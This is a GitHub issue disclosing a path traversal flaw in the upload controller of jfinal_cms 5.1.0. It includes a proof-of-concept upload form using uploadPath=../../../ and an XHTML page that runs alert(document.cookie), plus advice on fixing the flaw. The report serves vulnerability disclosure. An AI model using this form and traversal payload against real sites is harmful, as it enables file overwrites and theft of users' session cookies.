Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

jfinal_cms 5.1.0 file path injection vulnerability #31

Open
luchua-bc opened this issue Feb 6, 2022 · 0 comments
Open

jfinal_cms 5.1.0 file path injection vulnerability #31

luchua-bc opened this issue Feb 6, 2022 · 0 comments

Comments

@luchua-bc
Copy link

There is a CWE-073 - file path injection vulnerability with the upload controller.

If an admin user uploads a malicious file with injected path e.g. https://<jfinal_cms.site>/jfinal_cms/system/upload?uploadPath=../../../, the application will either serve malicious web pages or overwrite important system files.

A sample page to trigger the upload functionality is as follows:

<html>
        <body>
        <form method="post" action="https://<jfinal_cms.site>/jfinal_cms/system/upload?uploadPath=../../../" enctype="multipart/form-data" id="myfile">
                <input type="file" name="file">
                <input type="submit" value="Upload">
        </form>
        </body>
</html>

The following sample XHTML file with JavaScript payload was used to showcase sensitive information like cookies can be leaked:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<script type="text/javascript">
      alert(document.cookie);
</script>
<h1>POC</h1>
</body>
</html>

The XHTML file was successfully uploaded to the webroot directory, which broke out of the intended directory /upload/jflyfox/bbs/.
upload_success

Accessing the file will leak session cookies, which confirmed the file path injection vulnerability:
Screen Shot 2022-02-05 at 9 11 35 PM

Unsanitized user provided data must not be used to construct the file path. In order to prevent File
Path Injection, it is recommended to avoid concatenating user input directly into the file path. Instead,
user input should be checked against allowed (e.g., must come within user_content/) or disallowed
(e.g. must not come within /internal) paths, ensuring that neither path traversal using ../
nor URL encoding is used to evade these checks.

Please consider to fix the issue. Thanks.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@luchua-bc